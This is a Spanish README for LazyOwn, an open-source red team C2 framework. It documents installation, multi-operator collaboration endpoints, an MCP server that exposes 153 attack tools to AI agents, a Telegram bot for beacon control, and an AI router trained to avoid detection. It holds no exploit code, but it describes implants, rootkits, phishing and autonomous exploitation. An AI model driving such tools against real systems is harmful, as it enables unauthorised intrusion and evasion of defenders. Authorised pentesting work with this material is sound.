Framework de red team y plataforma C2 multioperador con agentes de IA, implantes maleables, rootkits, motor de phishing y 741 comandos CLI que cubren toda la cadena de ataque.
741 comandos CLI. C2 multioperador. 153 herramientas MCP para agentes de IA. El único C2 de código abierto con soporte BOF para Linux + marketplaces YARA/Nuclei integrados.
| Prueba en 60 segundos (sin instalación) | Ruta dorada (en cada engagement) | Auto-pwn con un solo comando |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| Primeros 7 comandos | Bucle de reconocimiento |
|---|---|
![]() | ![]() |
| C2 desde la CLI | Enviar comandos a los beacons |
|---|---|
![]() | ![]() |
Recorrido completo: QUICKSTART.md (5 min) · guía 80/20: ESSENTIALS.md · HTB de principio a fin: docs/examples/htb-lame-walkthrough.md · Comparativa honesta: COMPARISON.md
| Capacidad | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Soporte BOF para Linux | sí | no | no | no | no | no |
| Marketplace YARA + Nuclei integrado | sí | no | no | no | no | no |
| Servidor MCP para agentes de IA (153 herramientas) | sí | no | no | no | no | no |
| Operador LLM + enjambre multiagente | sí | no | no | no | no | no |
| C2 multioperador + motor de phishing | sí | parcial | parcial | parcial | parcial | parcial |
Tabla completa: COMPARISON.md. ¿Encontraste un error? Abre un issue y lo corregimos.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn se distribuye con ABSOLUTAMENTE NINGUNA GARANTÍA. Este es software libre, y eres libre de redistribuirlo bajo los términos de la Licencia Pública General de GNU v3.
Consulta el archivo LICENSE para obtener detalles sobre el uso de este software.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn es un framework profesional de red team y una plataforma de Comando y Control (C2) diseñada para pentesters, red teams e investigadores de seguridad. Ofrece 741 comandos CLI, 126 alias, 153 herramientas MCP para agentes de IA, un panel de control web C2 multioperador y 137 integraciones de plugins YAML/Lua que cubren toda la kill chain en Linux, Windows, macOS y BSD.
**Novedades en v0.2.161:** marketplace integrado con reglas YARA + plantillas Nuclei, explotación autónoma `auto_pwn`, comando `hunt` para reconocimiento basado en amenazas, motor de consejos post-comando, cifrado automático de datos de sesión, ELO/insignias gamificados y 7 nuevos playbooks de APT.
## Inicio rápido en tres comandos
¿Eres nuevo aquí? Esta es toda la vía de entrada. Guía completa: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
La instalación predeterminada es ligera; añade --with-ml para el pesado stack de torch/CUDA, --with-ollama para el runtime local de LLM, --with-tools para los binarios externos comunes. Las dependencias están fijadas en requirements.txt (núcleo multiplataforma) y requirements-ml.txt (ML opcional); pyproject.toml es la única fuente de verdad.
Para compromisos aislados y reproducibles, consulta lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Luego, dentro del shell `(LazyOwn) >`:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Si doctor reporta un fallo bloqueante (rojo), corrígelo antes de continuar — te
indica el comando exacto de pip install / apt install para lo que falte.
Las advertencias (amarillo) son funciones opcionales que puedes ignorar por ahora.
LazyOwn está construido en torno a una arquitectura modular basada en comandos que proporciona flexibilidad y extensibilidad para los flujos de trabajo de pruebas de seguridad.

LazyOwn integra una interfaz de línea de comandos (CLI) construida sobre cmd2 y una GUI basada en web construida sobre Flask. Los parámetros están delimitados en payload.json, lo que permite una configuración coherente entre herramientas. El framework admite simulación de adversarios, programación de tareas mediante el comando cron y flujos de trabajo persistentes de simulación automatizada de amenazas.


Conecta Claude Code al framework LazyOwn mediante el Model Context Protocol (MCP). El servidor MCP expone 153 herramientas que cubren todo el ciclo de vida del engagement.
| Archivo | Propósito |
|---|---|
skills/lazyown_mcp.py | Servidor MCP — expone 153 herramientas de LazyOwn a Claude |
skills/lazyown.md | Documentación de la skill / slash-command de Claude Code |
skills/autonomous_daemon.py | Demonio de ejecución autónoma (orientado a objetivos, no requiere Claude entre pasos) |
skills/hive_mind.py | Sistema multiagente de reina + drones con memoria ChromaDB |
skills/lazyown_policy.py | Motor de políticas basado en recompensas para el auto_loop |
skills/lazyown_facts.py | Extracción estructurada de hechos a partir de XML de nmap y salida de herramientas |
skills/lazyown_parquet_db.py | Base de conocimiento Parquet: historial de sesiones, GTFOBins, LOLBas, ATT&CK |
Guía completa:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Colaboración Multi-Operador
La capa de colaboración de LazyOwn proporciona funcionalidad de servidor de equipo en tiempo real mediante
Server-Sent Events (SSE). Se activa automáticamente cuando `lazyc2.py` se inicia.
**Panel del navegador** — abrir en cualquier navegador del equipo:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Flujo SSE de terminal:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Publicar un hallazgo a todos los operadores**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Bloquear un objetivo (evita que dos operadores ejecuten la misma herramienta):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Método | Descripción |
|---|---|---|
| `/collab/` | GET | Panel de control de navegador multioperador |
| `/collab/stream?operator=<name>` | GET (SSE) | Flujo de eventos en tiempo real |
| `/collab/operators` | GET | Lista de operadores activos |
| `/collab/publish` | POST | Difundir un evento estructurado |
| `/collab/lock` | POST | Adquirir bloqueo de objetivo de carácter consultivo |
| `/collab/unlock` | POST | Liberar bloqueo de objetivo |
| `/collab/locks` | GET | Todos los bloqueos activos |
| `/collab/history?n=100` | GET | Últimos N eventos |
Desde la CLI: `collab_join <handle>` imprime todas las URL para un operador dado.
---
## Inicio rápido de MCP
LazyOwn expone su framework completo a través del Model Context Protocol (MCP). El mismo servidor funciona con Claude Code, Claude Desktop, Hermes Agent y OpenCode — elige la integración que coincida con tu entorno.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
O copia .mcp.example.json a .mcp.json y establece LAZYOWN_DIR en la
ruta absoluta de este checkout:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Instala el comando slash (opcional):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Después de reiniciar Claude Code, todas las herramientas lazyown_* están disponibles.
LazyOwn es nativo de Hermes. La capa de integración skills/hermes-lazyown/ proporciona una superficie de herramientas compacta y con espacio de nombres optimizada para las ventanas de contexto de Hermes con reanudación desde puntos de control, generación dinámica de reglas y planificación de delegación nativa.
Registrar en ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Luego recarga las herramientas MCP en Hermes con `/reload-mcp`.
Consulta `skills/hermes-lazyown/README.md` para obtener la guía completa de integración con Hermes.
### OpenCode
LazyOwn es compatible con OpenCode a través del **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
El adaptador conecta el servidor MCP de LazyOwn con la CLI de OpenCode, exponiendo la misma superficie de herramientas lazyown_* con prompts y flujos de trabajo nativos de OpenCode.
Configuración completa: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Variable | Predeterminado | Descripción |
|---|---|---|
LAZYOWN_DIR | padre de skills/ | Directorio raíz de LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | Dirección del servidor C2 |
LAZYOWN_C2_PORT | payload.json c2_port | Puerto del servidor C2 |
LAZYOWN_C2_USER | payload.json c2_user | Nombre de usuario C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | Contraseña C2 |
| Grupo | Herramientas | Descripción |
|---|---|---|
| Ejecución Central | 7 | run_command (ahora con dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Auditoría y Contexto | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Gestión de Objetivos | 3 | add_target, list_targets, set_active_target |
| Control de C2 / Implante | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Conciencia de Sesión | 4 | session_status, session_state, list_sessions, read_session_file |
| Bucle Autónomo | 3 | auto_loop, policy_status, recommend_next |
| ACI — Inteligencia de Campaña Autónoma | 3 | aci_plan, aci_status, aci_replan |
| Inteligencia Reactiva | 2 | reactive_suggest, bridge_suggest |
| Objetivos y Planificación | 4 | inject_objective, next_objective, soul, read_prompt |
| Bases de Conocimiento | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memoria y Aprendizaje | 3 | memory_recall/store, eval_quality |
| Campaña y Reportes | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, Herramientas y Plugins | 3 | list_addons/plugins, create_addon/tool |
| Programación | 2 | cron_schedule, daemon |
| Agentes de IA | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Motor de Eventos | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Documentación completa: skills/README.md y skills/lazyown.md.
Añadidas en skills/lazyown_mcp_helpers.py para hacer las auditorías autónomas más
eficientes y menos propensas a errores. La lógica reside en un módulo de funciones puras para que
sea testeable unitariamente de forma aislada (tests/test_mcp_improvements.py).
| Herramienta / Parámetro | Qué hace | Por qué importa |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Devuelve el SITREP como un dict estructurado en lugar de un banner; opcionalmente incrusta las 3 acciones recomendadas mejor clasificadas. | Ahorra ~5KB de texto decorado por llamada; los agentes pueden filtrar antes de consumir. |
lazyown_campaign_sitrep(format='json') | La misma opción JSON para el informe maestro de turno. | Formato consistente entre ambas herramientas de situación. |
lazyown_target_context(host, port=N) | Agrega puertos abiertos, credenciales del modelo de mundo (con procedencia + confianza), vulnerabilidades, frescura de evidencia de pwntomate y frescura de nmap para una tupla (host, port). | Reemplaza 4-5 búsquedas separadas al decidir la siguiente acción sobre un objetivo. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Audita sessions/tasks.json y marca entradas donde la credencial incrustada es en realidad un timestamp / URL / IP / duplicado. Pasa dry_run=false para reescribir el archivo (se escribe primero un .bak). | El watcher comúnmente convierte timestamps de logs en "credenciales"; en una campaña real esto elimina más de 100 tareas de ruido. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Pre-vuelo: devuelve el comando base, la ruta del binario, requerido por SO vs SO actual, artefactos que se duplicarían, claves de payload faltantes — sin ejecutar. | Evita repetir por error escaneos de 30 minutos; marca herramientas solo para Windows contra un objetivo Linux antes del lanzamiento. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Patrón de trabajo en segundo plano para comandos largos (lazynmap, pwntomate, auto_loop). Devuelve un job_id inmediatamente. | Libera al agente de bloquearse en comandos documentados como ≥30 min. |
lazyown_session_diff(take=true) | Reporta archivos añadidos / modificados / eliminados en sessions/ más nuevas credenciales / IDs de tareas desde la última instantánea. | Hace explícitos los traspasos de turno; funciona bien como primera llamada de cada nueva sesión. |
| Puerta de confirmación () |
Una capa de extensión SOLID en cli/cli_enhancements.py se conecta al shell cmd2
mediante el autodescubrimiento existente de CommandSet (cli/commands/audit.py). No se requirieron
ediciones al núcleo de 27k líneas de lazyown.py más allá de dos pequeños hooks
(carga de alias lazy, fallback de completedefault).
| Comando / hook | Qué hace | Respaldado por |
|---|---|---|
fz [query] | Buscador difuso de comandos sobre cada do_*, alias, plugin y addon. Puntúa exacto > prefijo > subcadena > similitud de secuencia. | FuzzyCommandIndex |
form <command> | Guía al operador a través de un formulario interactivo de parámetros para comandos con muchos flags (actualmente phishing, venom, evil). Valida campos requeridos y enums de options; recurre a los valores predeterminados bajo IO no interactivo. | InteractiveForm, FormSpec |
status_tail [target] | Analiza el último sessions/scan_<target>.partial/.nmap e imprime puertos abiertos, porcentaje completado y última línea para que el operador pueda monitorear un escaneo largo sin salir del shell. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Búsqueda regex en la transcripción reciente de comandos ejecutados y sus salidas. Persiste entre reinicios (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Sondea lazyaddons/ y plugins/ y vuelve a registrar cualquier cosa que haya cambiado desde el último barrido, sin reiniciar el shell. | AddonHotReloader |
audit_complete_keys <command> [partial] | Muestra lo que el completador consciente del payload sugeriría para un comando dado. Útil para verificar el comportamiento de completado. | PayloadAwareCompleter |
completedefault (Tab) | El hook de Cmd2 ahora recurre a un completador consciente del payload que sugiere claves de payload para set/assign, valores de IP para target, claves de wordlist para gobuster/ffuf, nombres de addon para run, nombres de plugin para plugin, y credenciales capturadas para evil//. |
Las primitivas son agnósticas al framework y dependen de pequeñas interfaces
typing.Protocol (PayloadProvider, CommandLister, TerminalIO) para que puedan
ser testeadas unitariamente de forma aislada. Ver tests/test_cli_enhancements.py (36 tests).
El shell cmd2 instala un selector difuso controlado por curses sobre GNU readline
(cli/fuzzy_picker.py). Al pulsar una sola vez Tab, cuando hay dos o más
completados disponibles, el selector abre un menú desplegable con borde anclado en
la parte inferior del terminal mostrando cada coincidencia junto a su descripción.
El puntuador favorece coincidencias exactas, de prefijo y de subsecuencia sobre subcadena y
similitud (el mismo ranking que usa el comando independiente fz), y los
caracteres coincidentes de la consulta se resaltan en cada fila para que el operador
pueda ver por qué un candidato está en la lista.
Navegación: ↑ / ↓ para moverse, Page Up / Page Down para saltar, Home /
End para buscar, Backspace para editar la consulta en el lugar, Tab o
Enter para insertar el comando resaltado en el prompt, Esc o
Ctrl-C para cancelar. Cuando solo coincide un candidato, se preserva el comportamiento
normal de autoinserción de readline para que el selector nunca se interponga en el camino de un
operador rápido. La geometría, los colores y los glifos son controlados por PickerConfig,
y un bloque opcional fuzzy_picker en payload.json puede sobrescribir cualquiera de
sus campos (p. ej. "max_visible_rows": 8) sin tocar el código.
config_bannerEl shell cmd2 renderiza un prompt Neon Box de tres líneas ensamblado a partir de un
conjunto canónico de segmentos (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). El renderizador está implementado en cli/banner_config.py como
una pequeña pila SOLID: un SegmentRenderer por pieza de información, un
SegmentRegistry, un objeto de valor BannerSettings, y un BannerRenderer
que emite salida con color ANSI. La IP pública, la versión del kernel y la versión de LazyOwn
están cacheadas con TTL para que el prompt se mantenga por debajo del milisegundo tras el primer
renderizado.
El comando de shell config_banner abre un asistente curses estilo Powerlevel10k
con tres pestañas — Segments, Colors, Glyphs — y una
vista previa en vivo del prompt resultante anclada en la parte inferior del panel.
Tab / Shift+Tab cambian de pestaña; ↑ / ↓ se mueven dentro de la pestaña activa;
Enter guarda en payload.json bajo el bloque banner; Escape
cancela. Enlaces por pestaña:
| Pestaña | Teclas de acción |
|---|---|
| Segments | Space activa/desactiva un segmento; a habilita todos los segmentos; n deshabilita todos los segmentos; d restaura los valores predeterminados de fábrica. |
| Colors | Space / → cicla al siguiente color con nombre (bright_green, bright_cyan, bright_magenta, …); ← cicla hacia atrás; d restaura el color predeterminado de ese segmento. |
| Glyphs | Space / → cicla al siguiente carácter para la ranura enfocada (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← cicla hacia atrás; d restaura el glifo predeterminado de esa ranura. |
El prompt del shell se actualiza inmediatamente tras guardar — no se necesita reinicio.
Los operadores sin TTY (CI, scripts) aún pueden controlar el sistema con
config_banner show y config_banner reset, o editar manualmente el payload:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Los nombres de colores se validan contra `ColorRegistry` y los caracteres de glifos contra `GlyphRegistry`; cualquier cosa desconocida recurre silenciosamente al valor predeterminado de fábrica para que una carga útil malformada nunca rompa el prompt.
### Navegación consciente del grafo — UX para operador + agente desde graphify
`cli/graph_advisor.py` carga el grafo de conocimiento producido por
[`/graphify`](https://graphify.dev) sobre el árbol de código fuente de LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 nodos, ~2900 aristas, 14
comunidades) y lo expone tanto al shell cmd2 como al servidor MCP. El
advisor es una pila SOLID de un solo archivo — `GraphLoader` (IO de archivo con caché por mtime), `GraphIndex` (índices en memoria de adyacencia / grado / comunidad),
`GraphScorer` (primitiva pura de ranking), `GraphAdvisor` (orquestador) —
con cada constante mantenida en el dataclass `GraphAdvisorConfig`.
**Comandos del operador (shell cmd2)**
| Comando | Propósito |
|---------|---------|
| `graph_search <query> [limit]` | Búsqueda difusa de nodos por etiqueta, id o archivo fuente. |
| `neighbors <node> [depth] [limit]` | Recorre el grafo hacia afuera desde un nodo con relación de arista / confianza. |
| `god_nodes [N]` | Muestra los nodos más conectados — las abstracciones centrales del framework. |
| `suggest_next [seeds…] [N]` | Recomienda los siguientes comandos recorriendo hacia afuera desde la actividad reciente. Sin seeds lee `sessions/LazyOwn_session_report.csv` y toma los seeds desde ahí. |
El hook `default()` del shell ahora canaliza los comandos `do_*` desconocidos a través del
mismo advisor + el `FuzzyCommandIndex` existente para que un operador que escribe
`ddo_lazynmap` vea instantáneamente *"¿Quisiste decir: do_lazynmap, do_lazynmap_quick, …?"*
antes del toast.
**Herramientas MCP (Claude Code, Claude web, cualquier agente MCP)**
| Herramienta | Propósito |
|------|---------|
| `lazyown_graph_summary` | Recuentos de nodos / aristas / comunidades y la ruta resuelta del grafo. |
| `lazyown_graph_search` | Búsqueda difusa de nodos con un límite `budget_tokens` para que la respuesta JSON nunca desborde la ventana de contexto del agente. |
| `lazyown_graph_neighbors` | Recorrido de adyacencia por capas con relación de arista y confianza — la consulta canónica "¿de qué depende X?". |
| `lazyown_graph_suggest_next` | Recomendación del siguiente paso; toma una lista `recent` explícita o lee la transcripción de la sesión. |
Cada herramienta de grafo MCP recorta los campos de lista in situ para ajustarse a `budget_tokens`
(por defecto 1500). Cuando el grafo falta, cada herramienta devuelve
`{"available": false, "reason": "..."}` en lugar de fallar — se le indica al operador
que ejecute `/graphify .` una vez y todo empieza a funcionar.
El advisor cachea por `(path, mtime)` para que una reconstrucción fresca de `/graphify` se
recoja automáticamente en el siguiente comando CLI o llamada MCP sin
reiniciar el shell o el servidor MCP. Consulta
`tests/test_graph_advisor.py` para las 20 pruebas unitarias que cubren el loader,
el index, el scorer y la API completa del advisor.
### Sugerencias reactivas en línea — sugerencias de siguiente paso no bloqueantes
`cli/reactive_hints.py` se engancha al pipeline post-comando de cmd2 mediante
`register_postcmd_hook` e imprime una única línea atenuada debajo de cada salida de comando,
antes de que aparezca el siguiente prompt:```
↳ do_gobuster · do_enum4linux · do_ffuf
La sugerencia proviene del grafo de conocimiento graphify (el mismo GraphAdvisor
usado por suggest_next), por lo que está estructuralmente fundamentada — no es una lista genérica.
El hook es totalmente no bloqueante: retorna antes de que cmd2 renderice el prompt, por lo que
el operador puede empezar a escribir el siguiente comando inmediatamente.
Control
| Acción | Cómo |
|---|---|
| Deshabilitar sugerencias para la sesión | set enable_inline_hints false |
| Volver a habilitar | set enable_inline_hints true |
| Persistir permanentemente | set enable_inline_hints false luego save |
Los comandos en la lista de omisión (help, ?, exit, set, show, palette,
dashboard, suggest_next, graph_search, neighbors, god_nodes) nunca
producen una línea de sugerencia — son meta-comandos donde una sugerencia añade ruido.
Cuando el grafo graphify está ausente, el hook retorna silenciosamente. Ejecuta
/graphify . una vez para construir el grafo y las sugerencias empezarán a aparecer en el
siguiente comando.
dashboardcli/dashboard_tui.py es un panel de pantalla completa de Textual
lanzado desde el shell con:```
dashboard
Bloquea el shell mientras está abierto (como `htop` o `lazygit`). Pulsa **Q** o
Ctrl-C para cerrarlo y volver al prompt de cmd2.
**Disposición**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Fuentes de datos (actualizadas automáticamente cada 5 segundos)
| Panel | Fuente |
|---|---|
| Objetivo / fase / SO | payload.json, sessions/world_model.json |
| Progreso de la kill chain | sessions/world_model.json → completed_phases |
| Comandos recientes | sessions/LazyOwn_session_report.csv |
| Objetivo | sessions/world_model.json, sessions/tasks.json |
| Credenciales / hashes | sessions/credentials*.txt, sessions/hash*.txt |
| Beacons | sessions/beacons.json |
| Sugerencias de grafo | graphify-out/graph_lazyown.json |
Requiere pip install textual (añadido a install.sh).
La herramienta MCP lazyown_palette (también accesible como el comando CLI palette
y la vista web /palette, con una superposición global Ctrl+K / Cmd+K en
cada página del C2) permite a agentes y operadores explorar los más de 422 comandos do_*
sin desplazarse. Modos:
| Modo | Ejemplo | Descripción |
|---|---|---|
| Resumen | palette | Recuento de comandos fase por fase. |
| Fase | palette recon | Todos los comandos de una fase de la kill chain, con un resumen de una línea. |
| Fase + filtro | palette enum nmap | Listado de fase acotado por una consulta de texto libre. |
| Búsqueda | palette --search ldap | Búsqueda difusa por nombre y resumen. |
| Detalle | palette --info do_lazynmap | Entrada completa más los vecinos calls y related derivados de graphify (qué otros comandos comparten funciones auxiliares con este). |
| Siguiente fase | palette --next recon | Comandos recomendados en la fase que sigue en el orden de la kill chain. |
Las listas calls / related de la vista de detalle provienen de
graphify-out/graph_lazyown.json (regenerado por la skill graphify);
cuando ese archivo no está presente, la paleta se degrada silenciosamente a solo datos de fase.
El bot telegram_hermes.py conecta Telegram con el framework completo de LazyOwn a través de la capa MCP y la pasarela Hermes. Admite ejecución directa de comandos de shell, delegación a agentes autónomos, programación de cron, interacción con beacons del C2 y mensajería multiplataforma.
| Archivo | Propósito |
|---|---|
telegram_hermes.py | Bot de Telegram — conecta Telegram con LazyOwn MCP y la pasarela Hermes |
run_telegram_hermes.sh | Script de lanzamiento que usa un venv dedicado |
venv_telegram/ | Entorno virtual de Python con dependencias de python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Comandos del Bot
| Comando | Descripción |
|---------|-------------|
| `/start <secret>` | Autenticarse con el secreto C2 de `payload.json` |
| `/cmd <command>` | Ejecutar cualquier comando de shell de LazyOwn |
| `/sitrep` | Informe completo de situación de la campaña |
| `/config [key] [val]` | Ver o establecer valores de payload.json |
| `/addcli <client_id>` | Establecer cliente C2 activo |
| `/clients` | Listar implantes C2 en línea |
| `/c2 <command>` | Enviar comando al beacon C2 |
| `/agent <goal>` | Ejecutar agente autónomo Groq/Ollama |
| `/delegate <goal>` | Delegar tarea al subagente Hermes |
| `/cron <schedule> <cmd>` | Programar comandos recurrentes de LazyOwn |
| `/status` | Mostrar estado del daemon y autónomo |
| `/stop` | Detener cualquier daemon autónomo en ejecución |
| `/download <file>` | Descargar archivos desde sessions/ |
| Subir documento | Subir archivos al beacon C2 |
Cualquier mensaje de texto plano que no tenga el prefijo `/` se trata como un comando directo de LazyOwn. Se aplican límites de velocidad (5 comandos/minuto) y tiempos de espera de sesión (30 minutos).
### Arquitectura
El bot utiliza la misma ejecución de comandos basada en PTY que el servidor MCP (`skills/lazyown_mcp.py`), por lo que cada comando, alias y addon de LazyOwn funciona sin importaciones directas de Python. Las tareas autónomas (`/agent`, `/delegate`) generan agentes Groq u Ollama a través del shell de LazyOwn, y los comandos C2 (`/c2`, `/clients`) utilizan los endpoints autenticados `/api/command` y `/get_connected_clients`.
---
## Arquitectura Avanzada de IA (MoE + RL + SWAN + Hive Mind)
LazyOwn integra una pila de IA multiagente de primer nivel que se adapta y mejora a través de cada compromiso:
### Mixture of Experts (MoE) — `modules/moe_router.py`
Cinco expertos LLM están registrados con etiquetas de capacidad, pesos base y niveles de costo:
| Experto | Backend | Fortalezas |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Reconocimiento, enumeración, decisiones rápidas |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Explotación, post-ex, razonamiento complejo |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Escalada de privilegios, razonamiento paso a paso |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Sin conexión, seguro para la privacidad, análisis detallado |
| `groq_gemma` | Groq gemma2-9b-it | Movimiento lateral, análisis de credenciales |
El enrutamiento utiliza softmax escalado por temperatura (`T = max(0.5, 1.5/(1+calls/50))`) sobre pesos ajustados. Los pesos se autoajustan mediante media móvil exponencial de la recompensa por experto a lo largo del tiempo.
### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`
El Q-learning tabular entrena la política de enrutamiento a lo largo de las sesiones de compromiso:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hiperparámetros: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. La exploración epsilon-greedy decae por actualización. Los valores Q persisten en sessions/expert_qvalues.json entre sesiones.
skills/swan_agent.pyLa capa de integración de nivel superior conecta MoE + RL + Detection Oracle + Hive Memory:
swan_run: ejecución de un solo experto con enrutamiento guiado por RL y actualización de Q posterior a la ejecuciónswan_ensemble: N expertos en paralelo mediante ThreadPoolExecutor, sintetizados por WeightedTextAggregatorOutcomeEvaluator: recompensa = 0 cuando la probabilidad de detección ≥ 70% (modelado de recompensa consciente de la detección)modules/detection_oracle.pyPredice la probabilidad de detección antes de la ejecución utilizando 17 reglas Sigma-lite que cubren: acceso a credenciales (LSASS, SAM, DCSync), movimiento lateral (PsExec, WMI, evil-winrm), escalada de privilegios (suplantación de tokens, named pipes), explotación, reconocimiento, C2 y fuerza bruta.
Agregación de probabilidad: P(detect) = 1 - ∏(1 - P_i) sobre todas las reglas activadas.
modules/auto_purple.pyBucle automatizado de medición red-vs-blue que ejecuta acciones ofensivas, consulta a LazyOwnBT para la detección y retroalimenta los resultados al Detection Oracle para su calibración.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Métodos de detección:**
